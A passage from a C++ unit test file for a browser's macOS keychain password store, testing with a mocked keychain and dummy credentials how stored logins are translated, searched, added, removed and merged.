if (expectations.size() != forms.size())
return;
for (unsigned int i = 0; i < expectations.size(); ++i) {
SCOPED_TRACE(testing::Message() << forms_label << " in test " << test_number
<< ", item " << i);
PasswordForm* form = forms[i];
PasswordFormData* expectation = expectations[i];
EXPECT_EQ(expectation->scheme, form->scheme);
EXPECT_EQ(std::string(expectation->signon_realm), form->signon_realm);
EXPECT_EQ(GURL(expectation->origin), form->origin);
EXPECT_EQ(GURL(expectation->action), form->action);
EXPECT_EQ(WideToUTF16(expectation->submit_element), form->submit_element);
EXPECT_EQ(WideToUTF16(expectation->username_element),
form->username_element);
EXPECT_EQ(WideToUTF16(expectation->password_element),
form->password_element);
if (expectation->username_value) {
EXPECT_EQ(WideToUTF16(expectation->username_value), form->username_value);
EXPECT_EQ(WideToUTF16(expectation->username_value), form->display_name);
EXPECT_TRUE(form->skip_zero_click);
if (expectation->password_value &&
wcscmp(expectation->password_value,
password_manager::kTestingFederatedLoginMarker) == 0) {
EXPECT_TRUE(form->password_value.empty());
EXPECT_EQ(GURL(password_manager::kTestingFederationUrlSpec),
form->federation_url);
} else {
EXPECT_EQ(WideToUTF16(expectation->password_value),
form->password_value);
EXPECT_TRUE(form->federation_url.is_empty());
}
} else {
EXPECT_TRUE(form->blacklisted_by_user);
}
EXPECT_EQ(expectation->preferred, form->preferred);
EXPECT_EQ(expectation->ssl_valid, form->ssl_valid);
EXPECT_DOUBLE_EQ(expectation->creation_time,
form->date_created.ToDoubleT());
base::Time created = base::Time::FromDoubleT(expectation->creation_time);
EXPECT_EQ(
created + base::TimeDelta::FromDays(
password_manager::kTestingDaysAfterPasswordsAreSynced),
form->date_synced);
EXPECT_EQ(GURL(password_manager::kTestingIconUrlSpec), form->icon_url);
}
}
PasswordStoreChangeList AddChangeForForm(const PasswordForm& form) {
return PasswordStoreChangeList(
1, PasswordStoreChange(PasswordStoreChange::ADD, form));
}
} // namespace
#pragma mark -
class PasswordStoreMacInternalsTest : public testing::Test {
public:
void SetUp() override {
MockAppleKeychain::KeychainTestData test_data[] = {
// Basic HTML form.
{kSecAuthenticationTypeHTMLForm,
"some.domain.com",
kSecProtocolTypeHTTP,
NULL,
0,
NULL,
"20020601171500Z",
"joe_user",
"sekrit",
false},
// HTML form with path.
{kSecAuthenticationTypeHTMLForm,
"some.domain.com",
kSecProtocolTypeHTTP,
"/insecure.html",
0,
NULL,
"19991231235959Z",
"joe_user",
"sekrit",
false},
// Secure HTML form with path.
{kSecAuthenticationTypeHTMLForm,
"some.domain.com",
kSecProtocolTypeHTTPS,
"/secure.html",
0,
NULL,
"20100908070605Z",
"secure_user",
"password",
false},
// True negative item.
{kSecAuthenticationTypeHTMLForm,
"dont.remember.com",
kSecProtocolTypeHTTP,
NULL,
0,
NULL,
"20000101000000Z",
"",
"",
true},
// De-facto negative item, type one.
{kSecAuthenticationTypeHTMLForm,
"dont.remember.com",
kSecProtocolTypeHTTP,
NULL,
0,
NULL,
"20000101000000Z",
"Password Not Stored",
"",
false},
// De-facto negative item, type two.
{kSecAuthenticationTypeHTMLForm,
"dont.remember.com",
kSecProtocolTypeHTTPS,
NULL,
0,
NULL,
"20000101000000Z",
"Password Not Stored",
" ",
false},
// HTTP auth basic, with port and path.
{kSecAuthenticationTypeHTTPBasic,
"some.domain.com",
kSecProtocolTypeHTTP,
"/insecure.html",
4567,
"low_security",
"19980330100000Z",
"basic_auth_user",
"basic",
false},
// HTTP auth digest, secure.
{kSecAuthenticationTypeHTTPDigest,
"some.domain.com",
kSecProtocolTypeHTTPS,
NULL,
0,
"high_security",
"19980330100000Z",
"digest_auth_user",
"digest",
false},
// An FTP password with an invalid date, for edge-case testing.
{kSecAuthenticationTypeDefault,
"a.server.com",
kSecProtocolTypeFTP,
NULL,
0,
NULL,
"20010203040",
"abc",
"123",
false},
// Password for an Android application.
{kSecAuthenticationTypeHTMLForm,
"android://hash@com.domain.some/",
kSecProtocolTypeHTTPS,
"",
0,
NULL,
"20150515141312Z",
"joe_user",
"secret",
false},
};
keychain_ = new MockAppleKeychain();
for (unsigned int i = 0; i < arraysize(test_data); ++i) {
keychain_->AddTestItem(test_data[i]);
}
}
void TearDown() override {
ExpectCreatesAndFreesBalanced();
ExpectCreatorCodesSet();
delete keychain_;
}
protected:
// Causes a test failure unless everything returned from keychain_'s
// ItemCopyAttributesAndData, SearchCreateFromAttributes, and SearchCopyNext
// was correctly freed.
void ExpectCreatesAndFreesBalanced() {
EXPECT_EQ(0, keychain_->UnfreedSearchCount());
EXPECT_EQ(0, keychain_->UnfreedKeychainItemCount());
EXPECT_EQ(0, keychain_->UnfreedAttributeDataCount());
}
// Causes a test failure unless any Keychain items added during the test have
// their creator code set.
void ExpectCreatorCodesSet() {
EXPECT_TRUE(keychain_->CreatorCodesSetForAddedItems());
}
MockAppleKeychain* keychain_;
};
#pragma mark -
TEST_F(PasswordStoreMacInternalsTest, TestKeychainToFormTranslation) {
typedef struct {
const PasswordForm::Scheme scheme;
const char* signon_realm;
const char* origin;
const wchar_t* username; // Set to NULL to check for a blacklist entry.
const wchar_t* password;
const bool ssl_valid;
const int creation_year;
const int creation_month;
const int creation_day;
const int creation_hour;
const int creation_minute;
const int creation_second;
} TestExpectations;
TestExpectations expected[] = {
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/", L"joe_user", L"sekrit", false,
2002, 6, 1, 17, 15, 0 },
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/insecure.html", L"joe_user", L"sekrit", false,
1999, 12, 31, 23, 59, 59 },
{ PasswordForm::SCHEME_HTML, "https://some.domain.com/",
"https://some.domain.com/secure.html", L"secure_user", L"password", true,
2010, 9, 8, 7, 6, 5 },
{ PasswordForm::SCHEME_HTML, "http://dont.remember.com/",
"http://dont.remember.com/", NULL, NULL, false,
2000, 1, 1, 0, 0, 0 },
{ PasswordForm::SCHEME_HTML, "http://dont.remember.com/",
"http://dont.remember.com/", NULL, NULL, false,
2000, 1, 1, 0, 0, 0 },
{ PasswordForm::SCHEME_HTML, "https://dont.remember.com/",
"https://dont.remember.com/", NULL, NULL, true,
2000, 1, 1, 0, 0, 0 },
{ PasswordForm::SCHEME_BASIC, "http://some.domain.com:4567/low_security",
"http://some.domain.com:4567/insecure.html", L"basic_auth_user", L"basic",
false, 1998, 03, 30, 10, 00, 00 },
{ PasswordForm::SCHEME_DIGEST, "https://some.domain.com/high_security",
"https://some.domain.com/", L"digest_auth_user", L"digest", true,
1998, 3, 30, 10, 0, 0 },
// This one gives us an invalid date, which we will treat as a "NULL" date
// which is 1601.
{ PasswordForm::SCHEME_OTHER, "http://a.server.com/",
"http://a.server.com/", L"abc", L"123", false,
1601, 1, 1, 0, 0, 0 },
{ PasswordForm::SCHEME_HTML, "android://hash@com.domain.some/",
"", L"joe_user", L"secret", true,
2015, 5, 15, 14, 13, 12 },
};
for (unsigned int i = 0; i < arraysize(expected); ++i) {
// Create our fake KeychainItemRef; see MockAppleKeychain docs.
SecKeychainItemRef keychain_item =
reinterpret_cast<SecKeychainItemRef>(i + 1);
PasswordForm form;
bool parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem(
*keychain_, keychain_item, &form, true);
EXPECT_TRUE(parsed) << "In iteration " << i;
EXPECT_EQ(expected[i].scheme, form.scheme) << "In iteration " << i;
EXPECT_EQ(GURL(expected[i].origin), form.origin) << "In iteration " << i;
EXPECT_EQ(expected[i].ssl_valid, form.ssl_valid) << "In iteration " << i;
EXPECT_EQ(std::string(expected[i].signon_realm), form.signon_realm)
<< "In iteration " << i;
if (expected[i].username) {
EXPECT_EQ(WideToUTF16(expected[i].username), form.username_value)
<< "In iteration " << i;
EXPECT_EQ(WideToUTF16(expected[i].password), form.password_value)
<< "In iteration " << i;
EXPECT_FALSE(form.blacklisted_by_user) << "In iteration " << i;
} else {
EXPECT_TRUE(form.blacklisted_by_user) << "In iteration " << i;
}
base::Time::Exploded exploded_time;
form.date_created.UTCExplode(&exploded_time);
EXPECT_EQ(expected[i].creation_year, exploded_time.year)
<< "In iteration " << i;
EXPECT_EQ(expected[i].creation_month, exploded_time.month)
<< "In iteration " << i;
EXPECT_EQ(expected[i].creation_day, exploded_time.day_of_month)
<< "In iteration " << i;
EXPECT_EQ(expected[i].creation_hour, exploded_time.hour)
<< "In iteration " << i;
EXPECT_EQ(expected[i].creation_minute, exploded_time.minute)
<< "In iteration " << i;
EXPECT_EQ(expected[i].creation_second, exploded_time.second)
<< "In iteration " << i;
}
{
// Use an invalid ref, to make sure errors are reported.
SecKeychainItemRef keychain_item = reinterpret_cast<SecKeychainItemRef>(99);
PasswordForm form;
bool parsed = internal_keychain_helpers::FillPasswordFormFromKeychainItem(
*keychain_, keychain_item, &form, true);
EXPECT_FALSE(parsed);
}
}
TEST_F(PasswordStoreMacInternalsTest, TestKeychainSearch) {
struct TestDataAndExpectation {
const PasswordFormData data;
const size_t expected_fill_matches;
const size_t expected_merge_matches;
};
// Most fields are left blank because we don't care about them for searching.
/* clang-format off */
TestDataAndExpectation test_data[] = {
// An HTML form we've seen.
{ { PasswordForm::SCHEME_HTML, "http://some.domain.com/",
NULL, NULL, NULL, NULL, NULL, L"joe_user", NULL, false, false, 0 },
2, 2 },
{ { PasswordForm::SCHEME_HTML, "http://some.domain.com/",
NULL, NULL, NULL, NULL, NULL, L"wrong_user", NULL, false, false, 0 },
2, 0 },
// An HTML form we haven't seen
{ { PasswordForm::SCHEME_HTML, "http://www.unseendomain.com/",
NULL, NULL, NULL, NULL, NULL, L"joe_user", NULL, false, false, 0 },
0, 0 },
// Basic auth that should match.
{ { PasswordForm::SCHEME_BASIC, "http://some.domain.com:4567/low_security",
NULL, NULL, NULL, NULL, NULL, L"basic_auth_user", NULL, false, false,
0 },
1, 1 },
// Basic auth with the wrong port.
{ { PasswordForm::SCHEME_BASIC, "http://some.domain.com:1111/low_security",
NULL, NULL, NULL, NULL, NULL, L"basic_auth_user", NULL, false, false,
0 },
0, 0 },
// Digest auth we've saved under https, visited with http.
{ { PasswordForm::SCHEME_DIGEST, "http://some.domain.com/high_security",
NULL, NULL, NULL, NULL, NULL, L"digest_auth_user", NULL, false, false,
0 },
0, 0 },
// Digest auth that should match.
{ { PasswordForm::SCHEME_DIGEST, "https://some.domain.com/high_security",
NULL, NULL, NULL, NULL, NULL, L"wrong_user", NULL, false, true, 0 },
1, 0 },
// Digest auth with the wrong domain.
{ { PasswordForm::SCHEME_DIGEST, "https://some.domain.com/other_domain",
NULL, NULL, NULL, NULL, NULL, L"digest_auth_user", NULL, false, true,
0 },
0, 0 },
// Android credentials (both legacy ones with origin, and without).
{ { PasswordForm::SCHEME_HTML, "android://hash@com.domain.some/",
"android://hash@com.domain.some/", NULL, NULL, NULL, NULL, L"joe_user",
NULL, false, true, 0 },
1, 1 },
{ { PasswordForm::SCHEME_HTML, "android://hash@com.domain.some/",
NULL, NULL, NULL, NULL, NULL, L"joe_user", NULL, false, true, 0 },
1, 1 },
// Federated logins do not have a corresponding Keychain entry, and should
// not match the username/password stored for the same application. Note
// that it will match for filling, however, because that part does not know
// that it is a federated login.
{ { PasswordForm::SCHEME_HTML, "android://hash@com.domain.some/",
NULL, NULL, NULL, NULL, NULL, L"joe_user",
password_manager::kTestingFederatedLoginMarker, false, true, 0 },
1, 0 },
/// Garbage forms should have no matches.
{ { PasswordForm::SCHEME_HTML, "foo/bar/baz",
NULL, NULL, NULL, NULL, NULL, NULL, NULL, false, false, 0 }, 0, 0 },
};
/* clang-format on */
MacKeychainPasswordFormAdapter keychain_adapter(keychain_);
MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_);
owned_keychain_adapter.SetFindsOnlyOwnedItems(true);
for (unsigned int i = 0; i < arraysize(test_data); ++i) {
scoped_ptr<PasswordForm> query_form =
CreatePasswordFormFromDataForTesting(test_data[i].data);
// Check matches treating the form as a fill target.
ScopedVector<autofill::PasswordForm> matching_items =
keychain_adapter.PasswordsFillingForm(query_form->signon_realm,
query_form->scheme);
EXPECT_EQ(test_data[i].expected_fill_matches, matching_items.size());
// Check matches treating the form as a merging target.
EXPECT_EQ(test_data[i].expected_merge_matches > 0,
keychain_adapter.HasPasswordsMergeableWithForm(*query_form));
std::vector<SecKeychainItemRef> keychain_items;
std::vector<internal_keychain_helpers::ItemFormPair> item_form_pairs =
internal_keychain_helpers::
ExtractAllKeychainItemAttributesIntoPasswordForms(&keychain_items,
*keychain_);
matching_items =
internal_keychain_helpers::ExtractPasswordsMergeableWithForm(
*keychain_, item_form_pairs, *query_form);
EXPECT_EQ(test_data[i].expected_merge_matches, matching_items.size());
STLDeleteContainerPairSecondPointers(item_form_pairs.begin(),
item_form_pairs.end());
for (std::vector<SecKeychainItemRef>::iterator i = keychain_items.begin();
i != keychain_items.end(); ++i) {
keychain_->Free(*i);
}
// None of the pre-seeded items are owned by us, so none should match an
// owned-passwords-only search.
matching_items = owned_keychain_adapter.PasswordsFillingForm(
query_form->signon_realm, query_form->scheme);
EXPECT_EQ(0U, matching_items.size());
}
}
// Changes just the origin path of |form|.
static void SetPasswordFormPath(PasswordForm* form, const char* path) {
GURL::Replacements replacement;
std::string new_value(path);
replacement.SetPathStr(new_value);
form->origin = form->origin.ReplaceComponents(replacement);
}
// Changes just the signon_realm port of |form|.
static void SetPasswordFormPort(PasswordForm* form, const char* port) {
GURL::Replacements replacement;
std::string new_value(port);
replacement.SetPortStr(new_value);
GURL signon_gurl = GURL(form->signon_realm);
form->signon_realm = signon_gurl.ReplaceComponents(replacement).spec();
}
// Changes just the signon_ream auth realm of |form|.
static void SetPasswordFormRealm(PasswordForm* form, const char* realm) {
GURL::Replacements replacement;
std::string new_value(realm);
replacement.SetPathStr(new_value);
GURL signon_gurl = GURL(form->signon_realm);
form->signon_realm = signon_gurl.ReplaceComponents(replacement).spec();
}
TEST_F(PasswordStoreMacInternalsTest, TestKeychainExactSearch) {
MacKeychainPasswordFormAdapter keychain_adapter(keychain_);
PasswordFormData base_form_data[] = {
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/insecure.html",
NULL, NULL, NULL, NULL, L"joe_user", NULL, true, false, 0 },
{ PasswordForm::SCHEME_BASIC, "http://some.domain.com:4567/low_security",
"http://some.domain.com:4567/insecure.html",
NULL, NULL, NULL, NULL, L"basic_auth_user", NULL, true, false, 0 },
{ PasswordForm::SCHEME_DIGEST, "https://some.domain.com/high_security",
"https://some.domain.com",
NULL, NULL, NULL, NULL, L"digest_auth_user", NULL, true, true, 0 },
};
for (unsigned int i = 0; i < arraysize(base_form_data); ++i) {
// Create a base form and make sure we find a match.
scoped_ptr<PasswordForm> base_form =
CreatePasswordFormFromDataForTesting(base_form_data[i]);
EXPECT_TRUE(keychain_adapter.HasPasswordsMergeableWithForm(*base_form));
EXPECT_TRUE(keychain_adapter.HasPasswordExactlyMatchingForm(*base_form));
// Make sure that the matching isn't looser than it should be by checking
// that slightly altered forms don't match.
ScopedVector<autofill::PasswordForm> modified_forms;
modified_forms.push_back(new PasswordForm(*base_form));
modified_forms.back()->username_value = ASCIIToUTF16("wrong_user");
modified_forms.push_back(new PasswordForm(*base_form));
SetPasswordFormPath(modified_forms.back(), "elsewhere.html");
modified_forms.push_back(new PasswordForm(*base_form));
modified_forms.back()->scheme = PasswordForm::SCHEME_OTHER;
modified_forms.push_back(new PasswordForm(*base_form));
SetPasswordFormPort(modified_forms.back(), "1234");
modified_forms.push_back(new PasswordForm(*base_form));
modified_forms.back()->blacklisted_by_user = true;
if (base_form->scheme == PasswordForm::SCHEME_BASIC ||
base_form->scheme == PasswordForm::SCHEME_DIGEST) {
modified_forms.push_back(new PasswordForm(*base_form));
SetPasswordFormRealm(modified_forms.back(), "incorrect");
}
for (unsigned int j = 0; j < modified_forms.size(); ++j) {
bool match = keychain_adapter.HasPasswordExactlyMatchingForm(
*modified_forms[j]);
EXPECT_FALSE(match) << "In modified version " << j
<< " of base form " << i;
}
}
}
TEST_F(PasswordStoreMacInternalsTest, TestKeychainAdd) {
struct TestDataAndExpectation {
PasswordFormData data;
bool should_succeed;
};
/* clang-format off */
TestDataAndExpectation test_data[] = {
// Test a variety of scheme/port/protocol/path variations.
{ { PasswordForm::SCHEME_HTML, "http://web.site.com/",
"http://web.site.com/path/to/page.html", NULL, NULL, NULL, NULL,
L"anonymous", L"knock-knock", false, false, 0 }, true },
{ { PasswordForm::SCHEME_HTML, "https://web.site.com/",
"https://web.site.com/", NULL, NULL, NULL, NULL,
L"admin", L"p4ssw0rd", false, false, 0 }, true },
{ { PasswordForm::SCHEME_BASIC, "http://a.site.com:2222/therealm",
"http://a.site.com:2222/", NULL, NULL, NULL, NULL,
L"username", L"password", false, false, 0 }, true },
{ { PasswordForm::SCHEME_DIGEST, "https://digest.site.com/differentrealm",
"https://digest.site.com/secure.html", NULL, NULL, NULL, NULL,
L"testname", L"testpass", false, false, 0 }, true },
// Test that Android credentials can be stored. Also check the legacy form
// when |origin| was still filled with the Android URI (and not left empty).
{ { PasswordForm::SCHEME_HTML, "android://hash@com.example.alpha/",
"", NULL, NULL, NULL, NULL,
L"joe_user", L"password", false, true, 0 }, true },
{ { PasswordForm::SCHEME_HTML, "android://hash@com.example.beta/",
"android://hash@com.example.beta/", NULL, NULL, NULL, NULL,
L"jane_user", L"password2", false, true, 0 }, true },
// Make sure that garbage forms are rejected.
{ { PasswordForm::SCHEME_HTML, "gobbledygook",
"gobbledygook", NULL, NULL, NULL, NULL,
L"anonymous", L"knock-knock", false, false, 0 }, false },
// Test that failing to update a duplicate (forced using the magic failure
// password; see MockAppleKeychain::ItemModifyAttributesAndData) is
// reported.
{ { PasswordForm::SCHEME_HTML, "http://some.domain.com",
"http://some.domain.com/insecure.html", NULL, NULL, NULL, NULL,
L"joe_user", L"fail_me", false, false, 0 }, false },
};
/* clang-format on */
MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_);
owned_keychain_adapter.SetFindsOnlyOwnedItems(true);
for (unsigned int i = 0; i < arraysize(test_data); ++i) {
scoped_ptr<PasswordForm> in_form =
CreatePasswordFormFromDataForTesting(test_data[i].data);
bool add_succeeded = owned_keychain_adapter.AddPassword(*in_form);
EXPECT_EQ(test_data[i].should_succeed, add_succeeded);
if (add_succeeded) {
EXPECT_TRUE(owned_keychain_adapter.HasPasswordsMergeableWithForm(
*in_form));
EXPECT_TRUE(owned_keychain_adapter.HasPasswordExactlyMatchingForm(
*in_form));
}
}
// Test that adding duplicate item updates the existing item.
// TODO(engedy): Add a test to verify that updating Android credentials work.
// See: https://crbug.com/476851.
{
PasswordFormData data = {
PasswordForm::SCHEME_HTML, "http://some.domain.com",
"http://some.domain.com/insecure.html", NULL,
NULL, NULL, NULL, L"joe_user", L"updated_password", false, false, 0
};
scoped_ptr<PasswordForm> update_form =
CreatePasswordFormFromDataForTesting(data);
MacKeychainPasswordFormAdapter keychain_adapter(keychain_);
EXPECT_TRUE(keychain_adapter.AddPassword(*update_form));
SecKeychainItemRef keychain_item = reinterpret_cast<SecKeychainItemRef>(2);
PasswordForm stored_form;
internal_keychain_helpers::FillPasswordFormFromKeychainItem(*keychain_,
keychain_item,
&stored_form,
true);
EXPECT_EQ(update_form->password_value, stored_form.password_value);
}
}
TEST_F(PasswordStoreMacInternalsTest, TestKeychainRemove) {
struct TestDataAndExpectation {
PasswordFormData data;
bool should_succeed;
};
/* clang-format off */
TestDataAndExpectation test_data[] = {
// Test deletion of an item that we add.
{ { PasswordForm::SCHEME_HTML, "http://web.site.com/",
"http://web.site.com/path/to/page.html", NULL, NULL, NULL, NULL,
L"anonymous", L"knock-knock", false, false, 0 }, true },
// Test that Android credentials can be removed. Also check the legacy case
// when |origin| was still filled with the Android URI (and not left empty).
{ { PasswordForm::SCHEME_HTML, "android://hash@com.example.alpha/",
"", NULL, NULL, NULL, NULL,
L"joe_user", L"secret", false, true, 0 }, true },
{ { PasswordForm::SCHEME_HTML, "android://hash@com.example.beta/",
"android://hash@com.example.beta/", NULL, NULL, NULL, NULL,
L"jane_user", L"secret", false, true, 0 }, true },
// Make sure we don't delete items we don't own.
{ { PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/insecure.html", NULL, NULL, NULL, NULL,
L"joe_user", NULL, true, false, 0 }, false },
};
/* clang-format on */
MacKeychainPasswordFormAdapter owned_keychain_adapter(keychain_);
owned_keychain_adapter.SetFindsOnlyOwnedItems(true);
// Add our test items (except the last one) so that we can delete them.
for (unsigned int i = 0; i + 1 < arraysize(test_data); ++i) {
scoped_ptr<PasswordForm> add_form =
CreatePasswordFormFromDataForTesting(test_data[i].data);
EXPECT_TRUE(owned_keychain_adapter.AddPassword(*add_form));
}
for (unsigned int i = 0; i < arraysize(test_data); ++i) {
scoped_ptr<PasswordForm> form =
CreatePasswordFormFromDataForTesting(test_data[i].data);
EXPECT_EQ(test_data[i].should_succeed,
owned_keychain_adapter.RemovePassword(*form));
MacKeychainPasswordFormAdapter keychain_adapter(keychain_);
bool match = keychain_adapter.HasPasswordExactlyMatchingForm(*form);
EXPECT_EQ(test_data[i].should_succeed, !match);
}
}
TEST_F(PasswordStoreMacInternalsTest, TestFormMatch) {
PasswordForm base_form;
base_form.signon_realm = std::string("http://some.domain.com/");
base_form.origin = GURL("http://some.domain.com/page.html");
base_form.username_value = ASCIIToUTF16("joe_user");
{
// Check that everything unimportant can be changed.
PasswordForm different_form(base_form);
different_form.username_element = ASCIIToUTF16("username");
different_form.submit_element = ASCIIToUTF16("submit");
different_form.username_element = ASCIIToUTF16("password");
different_form.password_value = ASCIIToUTF16("sekrit");
different_form.action = GURL("http://some.domain.com/action.cgi");
different_form.ssl_valid = true;
different_form.preferred = true;
different_form.date_created = base::Time::Now();
EXPECT_TRUE(
FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH));
// Check that path differences don't prevent a match.
base_form.origin = GURL("http://some.domain.com/other_page.html");
EXPECT_TRUE(
FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH));
}
// Check that any one primary key changing is enough to prevent matching.
{
PasswordForm different_form(base_form);
different_form.scheme = PasswordForm::SCHEME_DIGEST;
EXPECT_FALSE(
FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH));
}
{
PasswordForm different_form(base_form);
different_form.signon_realm = std::string("http://some.domain.com:8080/");
EXPECT_FALSE(
FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH));
}
{
PasswordForm different_form(base_form);
different_form.username_value = ASCIIToUTF16("john.doe");
EXPECT_FALSE(
FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH));
}
{
PasswordForm different_form(base_form);
different_form.blacklisted_by_user = true;
EXPECT_FALSE(
FormsMatchForMerge(base_form, different_form, STRICT_FORM_MATCH));
}
// Blacklist forms should *never* match for merging, even when identical
// (and certainly not when only one is a blacklist entry).
{
PasswordForm form_a(base_form);
form_a.blacklisted_by_user = true;
PasswordForm form_b(form_a);
EXPECT_FALSE(FormsMatchForMerge(form_a, form_b, STRICT_FORM_MATCH));
}
// Federated login forms should never match for merging either.
{
PasswordForm form_b(base_form);
form_b.federation_url = GURL(password_manager::kTestingFederationUrlSpec);
EXPECT_FALSE(FormsMatchForMerge(base_form, form_b, STRICT_FORM_MATCH));
EXPECT_FALSE(FormsMatchForMerge(form_b, base_form, STRICT_FORM_MATCH));
EXPECT_FALSE(FormsMatchForMerge(form_b, form_b, STRICT_FORM_MATCH));
}
}
TEST_F(PasswordStoreMacInternalsTest, TestFormMerge) {
// Set up a bunch of test data to use in varying combinations.
/* clang-format off */
PasswordFormData keychain_user_1 =
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/", "", L"", L"", L"", L"joe_user", L"sekrit",
false, false, 1010101010 };
PasswordFormData keychain_user_1_with_path =
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/page.html",
"", L"", L"", L"", L"joe_user", L"otherpassword",
false, false, 1010101010 };
PasswordFormData keychain_user_2 =
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/", "", L"", L"", L"", L"john.doe", L"sesame",
false, false, 958739876 };
PasswordFormData keychain_blacklist =
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/", "", L"", L"", L"", NULL, NULL,
false, false, 1010101010 };
PasswordFormData keychain_android =
{ PasswordForm::SCHEME_HTML, "android://hash@com.domain.some/",
"", "", L"", L"", L"", L"joe_user", L"secret",
false, true, 1234567890 };
PasswordFormData db_user_1 =
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/", "http://some.domain.com/action.cgi",
L"submit", L"username", L"password", L"joe_user", L"",
true, false, 1212121212 };
PasswordFormData db_user_1_with_path =
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/page.html",
"http://some.domain.com/handlepage.cgi",
L"submit", L"username", L"password", L"joe_user", L"",
true, false, 1234567890 };
PasswordFormData db_user_3_with_path =
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/page.html",
"http://some.domain.com/handlepage.cgi",
L"submit", L"username", L"password", L"second-account", L"",
true, false, 1240000000 };
PasswordFormData database_blacklist_with_path =
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/path.html", "http://some.domain.com/action.cgi",
L"submit", L"username", L"password", NULL, NULL,
true, false, 1212121212 };
PasswordFormData db_android =
{ PasswordForm::SCHEME_HTML, "android://hash@com.domain.some/",
"android://hash@com.domain.some/", "", L"", L"", L"", L"joe_user", L"",
false, true, 1234567890 };
PasswordFormData db_federated =
{ PasswordForm::SCHEME_HTML, "android://hash@com.domain.some/",
"android://hash@com.domain.some/", "", L"", L"", L"", L"joe_user",
password_manager::kTestingFederatedLoginMarker,
false, true, 3434343434 };
PasswordFormData merged_user_1 =
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/", "http://some.domain.com/action.cgi",
L"submit", L"username", L"password", L"joe_user", L"sekrit",
true, false, 1212121212 };
PasswordFormData merged_user_1_with_db_path =
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/page.html",
"http://some.domain.com/handlepage.cgi",
L"submit", L"username", L"password", L"joe_user", L"sekrit",
true, false, 1234567890 };
PasswordFormData merged_user_1_with_both_paths =
{ PasswordForm::SCHEME_HTML, "http://some.domain.com/",
"http://some.domain.com/page.html",
"http://some.domain.com/handlepage.cgi",
L"submit", L"username", L"password", L"joe_user", L"otherpassword",
true, false, 1234567890 };
PasswordFormData merged_android =
{ PasswordForm::SCHEME_HTML, "android://hash@com.domain.some/",
"android://hash@com.domain.some/", "", L"", L"", L"", L"joe_user",
L"secret", false, true, 1234567890 };
/* clang-format on */
// Build up the big multi-dimensional array of data sets that will actually
// drive the test. Use vectors rather than arrays so that initialization is
// simple.
enum {
KEYCHAIN_INPUT = 0,
DATABASE_INPUT,
MERGE_OUTPUT,
KEYCHAIN_OUTPUT,
DATABASE_OUTPUT,
MERGE_IO_ARRAY_COUNT // termination marker
};
const unsigned int kTestCount = 5;
std::vector< std::vector< std::vector<PasswordFormData*> > > test_data(
MERGE_IO_ARRAY_COUNT, std::vector< std::vector<PasswordFormData*> >(
kTestCount, std::vector<PasswordFormData*>()));
unsigned int current_test = 0;
// Test a merge with a few accounts in both systems, with partial overlap.
CHECK(current_test < kTestCount);
test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1);
test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_2);
test_data[DATABASE_INPUT][current_test].push_back(&db_user_1);
test_data[DATABASE_INPUT][current_test].push_back(&db_user_1_with_path);
test_data[DATABASE_INPUT][current_test].push_back(&db_user_3_with_path);
test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1);
test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1_with_db_path);
test_data[KEYCHAIN_OUTPUT][current_test].push_back(&keychain_user_2);
test_data[DATABASE_OUTPUT][current_test].push_back(&db_user_3_with_path);
// Test a merge where Chrome has a blacklist entry, and the keychain has
// a stored account.
++current_test;
CHECK(current_test < kTestCount);
test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1);
test_data[DATABASE_INPUT][current_test].push_back(
&database_blacklist_with_path);
// We expect both to be present because a blacklist could be specific to a
// subpath, and we want access to the password on other paths.
test_data[MERGE_OUTPUT][current_test].push_back(
&database_blacklist_with_path);
test_data[KEYCHAIN_OUTPUT][current_test].push_back(&keychain_user_1);
// Test a merge where Chrome has an account, and Keychain has a blacklist
// (from another browser) and the Chrome password data.
++current_test;
CHECK(current_test < kTestCount);
test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_blacklist);
test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1);
test_data[DATABASE_INPUT][current_test].push_back(&db_user_1);
test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1);
test_data[KEYCHAIN_OUTPUT][current_test].push_back(&keychain_blacklist);
// Test that matches are done using exact path when possible.
++current_test;
CHECK(current_test < kTestCount);
test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1);
test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_user_1_with_path);
test_data[DATABASE_INPUT][current_test].push_back(&db_user_1);
test_data[DATABASE_INPUT][current_test].push_back(&db_user_1_with_path);
test_data[MERGE_OUTPUT][current_test].push_back(&merged_user_1);
test_data[MERGE_OUTPUT][current_test].push_back(
&merged_user_1_with_both_paths);
// Test that Android credentails are matched correctly and that federated
// credentials are not tried to be matched with a Keychain item.
++current_test;
CHECK(current_test < kTestCount);
test_data[KEYCHAIN_INPUT][current_test].push_back(&keychain_android);
